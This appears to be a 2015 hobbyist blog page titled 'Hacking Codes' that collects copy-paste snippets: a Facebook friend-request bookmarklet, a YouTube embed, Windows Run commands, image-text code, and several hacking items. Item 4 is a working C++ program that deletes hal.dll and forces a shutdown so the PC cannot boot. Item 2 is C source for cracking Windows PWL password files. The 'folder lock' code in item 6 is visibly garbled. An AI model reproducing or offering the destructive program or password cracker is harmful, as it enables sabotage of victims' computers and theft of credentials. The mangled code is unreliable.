Hacking Codes

1] FACEBOOK ACCEPT OR REJECT AT ONE TIME
        If You Get A Lot Of Friend Requests Daily Or You Opened You Facebook Account After A Long Time, You Could End Up Having To Manually Accept Or Reject All Of Them, these code can be used to accept or reject all of them at once.
 PROCESS>>>
 Copy The Following Code:

For Accepting:

javascript:for( i = 1;i<document.getElementsByName("actions[accept]").length;i++){document.getElementsByName("actions[accept]")[i].click();}void(0);

For Rejecting:

javascript:for( i = 1;i<document.getElementsByName("actions[hide]").length;i++){document.getElementsByName("actions[hide]")[i].click();}void(0);

    Paste This Code In The Address Bar Of The Page You Opened In The First Step

    Now Just Wait And Let The Script Work!!


Note: For Chrome Users: When You Paste The Code In The Address Bar, You Will Manually Need To Reinsert "javascript:" in Front Of It
2] CRACK WINDOWS PASSWORD SOURCE CODE :    This will reveal your windows computer password. Just copy this code on to a notepad.
Save it as anything.c. Remember to change the file type to "All file".

# include<stdio.h>
 # include<stdio.h>
 # include<process.h>
 # include<stdlib.h>
 # include<ctype.h>
 # include<conio.h>
 # include<mem.h>

 unsigned char huge Data[100001];
 unsigned char keystream[1001];
 int Rpoint[300];

 void main(int argc,char *argv[]){
 FILE *fd;
 int i,j;
 int size;
 char ch;
 char *name;
 int cracked;
 int sizemask;
 int maxr;
 int rsz;
 int pos;
 int Rall[300];     /* Resourse allocation table */

 if(argc<2)
 {
     printf("usage: glide filename (username)");
     exit(1);
 }
 /* Read PWL file */

 fd=fopen(argv[1],"rb");
 if(fd==NULL)
 {
       printf("can't open file %s",argv[1]);
       exit(1);
 }
 size=0;
 while(!feof(fd)){
         Data[size++]=fgetc(fd);
 }
 size--;
 fclose(fd);

 /* Find Username */
 name=argv[1];
 if(argc>2)name=argv[2];
 printf("Username:%s",name);

 /* Copy encrypted text into keystream */
 cracked=size-0x0208;
 if(cracked<0)cracked=0;
       if(cracked>1000)cracked=1000;
                memcpy(keystream,Data+0x208,cracked);

 /* Generate 20 bytes of keystream */
 for(i=0;i<20;i++)
 {
     ch=toupper(name[i]);
     if(ch==0)break;
     if(ch=='.')break;
     keystream[i]^=ch;
 };
 cracked=20;

 /* Find allocated resources */
 sizemask=keystream[0]+(keystream[1]<<8);
 printf("Sizemask:%04X",sizemask);
 for(i=0;i<256;i++)
 {
     if(Data[i]!=0xff)
         {
         Rall[Data[i]]++;
         if(Data[i]>maxr)
                             maxr=Data[i];
     }
 }

 maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
 divisible by 16 */

 /*Search after resources */

 Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
 for(i=0;i<maxr;i++)
 {
     /* Find the size of current resourse */
     pos=Rpoint[i];
     rsz=Data[pos]+(Data[pos+1]<<8);
     rsz^=sizemask;
     printf("Analysing block with size:%04x    (%d:%d)",rsz,i,Rall[i]);
     if((Rall[i]==0)&&(rsz!=0))
          {

         printf("Unused resourse has nonzero size!!!");
         printf("If last line produed any:U may try 2 recover");
         printf("Press y to attempt the recovery");
         ch=getch();
         if(ch!='y')exit(0);
         rsz=2;
         i=i-1;
     }
     pos=pos+rsz;
 /* Resourse have a tedency to have the wrong size for some reason*/
     /* Chech for correct size*/
     if(i<maxr-1)
         {
         while(Data[pos+3]!=keystream[1])
                 {
             printf(":",Data[pos+3]);
             pos=pos+2; /* Very rude may fail */
         }
     }
     pos+=2; /* Include pointer in size */
     Rpoint[i+1]=pos;
 }

 Rpoint[maxr]=size;
 /* Insert Table data into keystream*/
 for(i=0;i<=maxr;i++)
 {
     keystream[20+2*i]^=Rpoint[i] & 0x00ff;
     keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
 }
 cracked+=maxr*2+2;
 printf("%d Bytes of ketstream recoverd ",cracked);
 /* Decrypt resources */
 for(i=0;i<maxr;i++)
 {
     rsz=Rpoint[i+1]-Rpoint[i];
         if(rsz>cracked)
         rsz=cracked;
             printf("Resource[%d](%d)",i,rsz);
     for(j=0;j<rsz;j++)                                    
             printf("%c",Data[Rpoint[i]+j]^keystream[j]);
           printf("");
 }
     exit(0);
 }   

3] PLAY YOUTUBE VIDEOS IN THE WEBSITE>>
src="http://www.youtube.com/urlink"
type="application/x-shockwave-flash">


eg:

 <html>
<body>

<embed
width="420" height="345"
src="http://www.youtube.com/urlink"
type="application/x-shockwave-flash">
</embed>

</body>
</html>

4] TO DELETE THE HAL.DLL FILE

This is a powerful C++ program, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.This is not a prank..

Warning: Do not try this on your home computer.

Code:

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

Note:
          The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

5] RUN COMMANDS FOR WINDOWS>>>>>>>

CONTROL COMMANDS

* CONTROL: opens the control panel window
* CONTROL ADMINTOOLS: opens the administrative tools
* CONTROL KEYBOARD: opens keyboard properties
* CONTROL COLOUR: opens display properties.Appearance tab
* CONTROL FOLDERS: opens folder options
* CONTROL FONTS: opens font policy management
* CONTROL INTERNATIONAL or INTL.CPL: opens Regional and Language option
* CONTROL MOUSE or MAIN.CPL: opens mouse properties
* CONTROL USERPASSWORDS: opens User Accounts editor
* CONTROL USERPASSWORDS2 or NETPLWIZ: User account access restrictions
* CONTROL PRINTERS: opens faxes and printers available
* APPWIZ.CPL: opens Add or Remove programs utility tool
* OPTIONALFEATURES: opens Add or Remove Windows component utility
* DESK.CPL: opens display properties. Themes tab
* HDWWIZ.CPL: opens add hardware wizard
* IRPROPS.CPL: infrared utility tool
* JOY.CP: opens game controllers settings
* MMSYS.CPL: opens Sound and Audio device Properties. Volume tab
* SYSDM.CPL: opens System properties
* TELEPHON.CPL: Opens phone and Modem options
* TIMEDATE.CPL: Date and Time properties
* WSCUI.CPL: opens Windows Security Center
* ACCESS.CPL: opens Accessibility Options
* WUAUCPL.CPL: opens Automatic Updates
* POWERCFG.CPL: opens Power Options Properties
* AZMAN.MSC: opens authorisation management utility tool
* CERTMGR.MSC: opens certificate management tool
* COMPMGMT.MSC: opens the Computer management tool
* COMEXP.MSC or DCOMCNFG: opens the Computer Services management tool
* DEVMGMT.MSC: opens Device Manager
* EVENTVWR or EVENTVWR.MSC: opens Event Viewer
* FSMGMT.MSC: opens Shared Folders
* NAPCLCFG.MSC: NAP Client configuration utility tool
* SERVICES.MSC: opens Service manager
* TASKSCHD.MSC or CONTROL SCHEDTASKS: opens Schedule Tasks manager
* GPEDIT.MSC: opens Group Policy utility tool
* LUSRMGR.MSC: opens Local Users and Groups
* SECPOL.MSC: opens local security settings
* CIADV.MSC: opens indexing service
* NTMSMGR.MSC: removable storage manager
* NTMSOPRQ.MSC: removable storage operator requests
* WMIMGMT.MSC: opens (WMI) Window Management Instrumentation
* PERFMON or PERFMON.MSC: opens the Performance monitor
* MMC: opens empty Console
* MDSCHED: opens memory diagnostics tools
* DXDIAG: opens DirectX diagnostics tools
* ODBCAD32: opens ODBC Data source Administrator
* REGEDIT or REGEDT32: opens Registry Editor
* DRWTSN32: opens Dr. Watson
* VERIFIER: opens Driver Verifier Manager
* CLICONFG: opens SQL Server Client Network Utility
* UTILMAN: opens Utility Manager
* COLORCPL: opens color management
* CREDWIZ: back up and recovery tool for user passwords
* MOBSYNC: opens Synchronization center
* MSCONFIG: opens System Configuration Utility
* SYSEDIT: opens System Configuration Editor (careful while using this command)
* SYSKEY: Windows Account Database Security management (careful while using this command)

Windows utility and applications

* EPLORER: Opens windows Explorer
* IEXPLORER: Opens Internet explorer
* WAB: opens Contacts
* CHARMAP: opens Character Map
* WRITE: opens WordPad
* NOTEPAD: opens Notepad
* CALC: opens Calculator
* CLIPBRD: opens Clipboard Viewer-> Vista Has no ClipBoard..
* WINCHAT: opens Microsoft Chat Interface
* SOUNDRECORDER: opens sound recording tool
* DVDPLAY: run CD or DVD
* WMPLAYER: opens Windows Media Player
* MOVIEMK: Opens untitled Windows Movie Maker
* OSK: opens on-screen Keyboard
* MAGNIFY: opens Magnifier
* WINCAL: opens Calendar
* DIALER: opens phone Dialer
* EUDCEDIT: opens Private Character Editor
* NDVOL: opens the mixer volume
* RSTRUI : opens Tool System Restore (For Vista only)
* %WINDIR%\SYSTEM32\RESTORE\rstrui.exe: opens Tool System Restore (for XP only).
* MSINFO32: Opens the System Information
* MRT : launches the utility removal of malware.
* Taskmgr : Opens the Windows Task Manager
* CMD: opens a command prompt
* MIGWIZ: Opens the tool for transferring files and settings from Windows (Vista only)
* Migwiz.exe: Opens the tool for transferring files and settings from Windows (for XP only)
* SIDEBAR: Open the Windows (Vista only)
* Sigverif : Opens the tool for verification of signatures of files
* Winver : Opens the window for your Windows version
* FSQUIRT: Bluetooth Transfer Wizard
* IExpress opens the wizard for creating self-extracting archives. Tutorial HERE
* MBLCTR: opens the mobility center (Windows Vista only)
* MSRA : Opens the Windows Remote Assistance
* Mstsc : opens the tool connection Remote Desktop
* MSDT: opens the diagnostic tools and support Microsoft
* WERCON: opens the reporting tool and solutions to problems (for Vista only)
* WINDOWSANYTIMEUPGRADE: Enables the upgrade of Windows Vista
* WINWORD : opens Word (if installed)
* PRINTBRMUI : Opens migration wizard printer (Vista only)


Disk management
* DISKMGMT.MSC: opens disk management utility
* CLEANMGR: opens disk drive clean up utility
* DFRG.MSC: opens disk defragmenter
* CHKDSK: complete analysis of disk partition
* DISKPART: disk partitioning tool


Connection management

* IPCONFIG: list the configuration of IP addresses on your PC (for more information type IPCONFIG/? in the CMD menu)
* INETCPL.CPL: opens internet properties
* FIREWALL.CPL: opens windows firewall
* NETSETUP.CPL: opens network setup wizard


Miscellaneous commands

* JAVAWS: View the cover of JAVA software (if installed)
* AC3FILTER.CPL: Opens the properties AC3 Filter (if installed)
* FIREFOX: Mozilla launches Firefox (if installed)
* NETPROJ: allow or not connecting to a network projector (For Vista only)
* LOGOFF: closes the current session
* SHUTDOWN: shut down Windows
* SHUTDOWN-A: to interrupt Windows shutdown
* %WINDIR% or %SYSTEMROOT%: opens the Windows installation
* %PROGRAMFILES%: Opens the folder where you installed other programs (Program Files)
* %USERPROFILE%: opens the profile of the user currently logged
* %HOMEDRIVE%: opens the browser on the partition or the operating system is installed
* %HOMEPATH%: opens the currently logged user C: \ Documents and Settings \ [username]
* %TEMP%: opens the temporary folder
* VSP1CLN: deletes the cache for installation of the service pack 1 for Vista

6] FOLDER LOCK SOURCE CODE>>>>.

#include<process.h>
#include<iostream.h>
#include<fstream.h>
#include<conio.h>
void print();
void choice();
void main()
{
clrscr();
print();
cout<<”nnnnnnnn -Before proceeding read carefully the
readme.txt file.”;
cout<<”nn -On execution it will create files namely lock.bat &
unlock.bat.”;
cout<<”nnnnnnnnnnnnnnnttttTHANK YOU”;
cout<<”nnnnnnnnnnntttttttpress any key …”;
getch();
clrscr();
char pass[6];
print();
cout<<”nn Enter secret code :”;
abc:for(int i=1;i<=6;i++)
{
pass[i]=getch();
cout<<”*”;
}
getch();
for(i=1;i<=6;i++)
{
if(pass[1]==’R’ && pass[2]==’i’ && pass[3]==’t’ && pass[4]==’e’
&& pass[5]==’s’ && pass[6]==’H')
{
clrscr();
char fold_name[20],ch;
print();
cout<<”nnn Enter the name of the folder you want to protect :
“;
cin.getline(fold_name,20);
char kk;
clrscr();
asd:print();
cout<<”nnn What do you want to do?”;
cout<<”nnnta> Lock Folder”;
cout<<”nntb> Unlock Folder”;
cout<<”nntc> Exit”;
cout<<”nnnnnn Enter your choice : “;
cin>>kk;
switch(kk)
{
case ‘a’:
case ‘A’:
{
qwe:clrscr();
print();
cout<<”nn In which special folder you want to convert your
folder:”;
choice();
cin>>ch;
switch(ch)
{
case ’1′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{00022602-
0000-0000-C000-000000000046}ndel lock.bat”;
file.close();
} break;
case ’2′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{0CD7A5C0-
9F37-11CE-AE65-08002B2E1262}ndel lock.bat”;
file.close();
} break;
case ’3′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{0DF44EAAFF21-
4412-828E-260A8728E7F1}ndel lock.bat”;
file.close();
} break;
case ’4′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{208D2C60-
3AEA-1069-A2D7-08002B30309D}ndel lock.bat”;
file.close();
} break;
case ’5′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{20D04FE0-
3AEA-1069-A2D8-08002B30309D}ndel lock.bat”;
file.close();
} break;
case ’6′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{645FF040-
5081-101B-9F08-00AA002F954E}ndel lock.bat”;
file.close();
} break;
case ’7′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{6DFD7C5C-
2451-11d3-A299-00C04F8EF6AF}ndel lock.bat”;
file.close();
} break;
case ’8′:
{
ofstream file;
file.open(“lock.bat”);
file<<”ren “<<fold_name<<” “<<fold_name<<”.{7007ACC7-
3202-11D1-AAD2-00805FC1270E}ndel lock.bat”;
file.close();
} break;
default :
{
cout<<”nn Invalid Choice”;
cout<<”nnnnnnntttttttpress any key …”;
getch();
clrscr();
goto qwe;
}
}//ch
}break;//case1
case ‘b’:
case ‘B’:
{
char ufold_name[20],ch1;
dfg:clrscr();
print();
cout<<”nn In which special folder you have converted your
folder:”;
choice();
cin>>ch1;
switch(ch1)
{
case ’1′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{00022602-0000-0000-C000-
000000000046}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’2′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{0CD7A5C0-9F37-11CE-AE65-
08002B2E1262}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’3′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{0DF44EAA-FF21-4412-828E-
260A8728E7F1}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’4′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{208D2C60-3AEA-1069-A2D7-
08002B30309D}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’5′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{20D04FE0-3AEA-1069-A2D8-
08002B30309D}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’6′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{645FF040-5081-101B-9F08-
00AA002F954E}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’7′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{6DFD7C5C-2451-11d3-A299-
00C04F8EF6AF}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
case ’8′:
{
ofstream file;
file.open(“unlock.bat”);
file<<”ren “<<fold_name<<”.{7007ACC7-3202-11D1-AAD2-
00805FC1270E}”<<” “<<fold_name<<”ndel unlock.bat”;
file.close();
} break;
default :
{
cout<<”nn Invalid Choice”;
cout<<”nnnnnnntttttttpress any key …”;
getch();
clrscr();
goto dfg;
}
}//ch
}//case2
case ‘c’:
case ‘C’:
{
exit(0);
}
default :
{
cout<<”nn Invalid Choice”;
cout<<”nnnnnnnnnnntttttttpress any key …”;
getch();
clrscr();
goto asd;
}
}//switchkk
break;}//if
else
{
cout<<”ann Renter secret code :”;
goto abc;
}
}//for
}//main
void print()
{
cout<<”n********************************************************
************************”;
textcolor(RED);
cprintf(“n WEB KING HACKER”);
cprintf(“nn
Developed by: RAJESH KUMAR”);
textcolor(WHITE);
cout<<”nn******************************************************
**************************”;
}
void choice()
{
cout<<”nnnnt1> Media Clip”;//{00022602-0000-0000-C000-
000000000046}
cout<<”nnt2> Cabinet File”; //{0CD7A5C0-9F37-11CE-AE65-
08002B2E1262}
cout<<”nnt3> Taskbar And Start Menu”;//{0DF44EAA-FF21-4412-828E-
260A8728E7F1}
cout<<”nnt4> My Network Places”;//{208D2C60-3AEA-1069-A2D7-
08002B30309D}
cout<<”nnt5> My Computer”; //{20D04FE0-3AEA-1069-A2D8-
08002B30309D}
cout<<”nnt6> Recycle Bin”; //{645FF040-5081-101B-9F08-
00AA002F954E}
cout<<”nnt7> Folder Option”; //{6DFD7C5C-2451-11d3-A299-
00C04F8EF6AF}
cout<<”nnt8> Network Connection”;//{7007ACC7-3202-11D1-AAD2-
00805FC1270E}
cout<<”nnnnnn Enter Your choice : “;
}
 

7] ADD TEXT TO AN IMAGE>>>>>>>>>>>

Put some txt in an image.

CODING:

#include <stdio.h>
#include <gd.h>
#include <gdfontg.h>

int main(int argc, char *argv[]) {
 gdImagePtr img;
 FILE *fp = {0};
 int width, white, black;

 width = white = black = 0;

 if(argc != 3) {
  fprintf(stderr, "Usage: pngtxt image.png 'Hello world.. !'\n");
  return 1;
 }

 fp = fopen(argv[1], "wb");
 if(fp == NULL) {
  fprintf(stderr, "Error - fopen(%s)\n", argv[1]);
  return 1;
 }

 width = strlen(argv[2]);

 img = gdImageCreate(width * 10, 20);

 white = gdImageColorAllocate(img, 255, 255, 255);
 black = gdImageColorAllocate(img, 0, 0, 0);

 gdImageString(img, gdFontGiant, 2, 1, argv[2], black);

 gdImagePng(img, fp);

 fclose(fp);
 gdImageDestroy(img);

 return 0;
}
Copyright © 2015 TechElectro - Blog
| Distributed By Mishu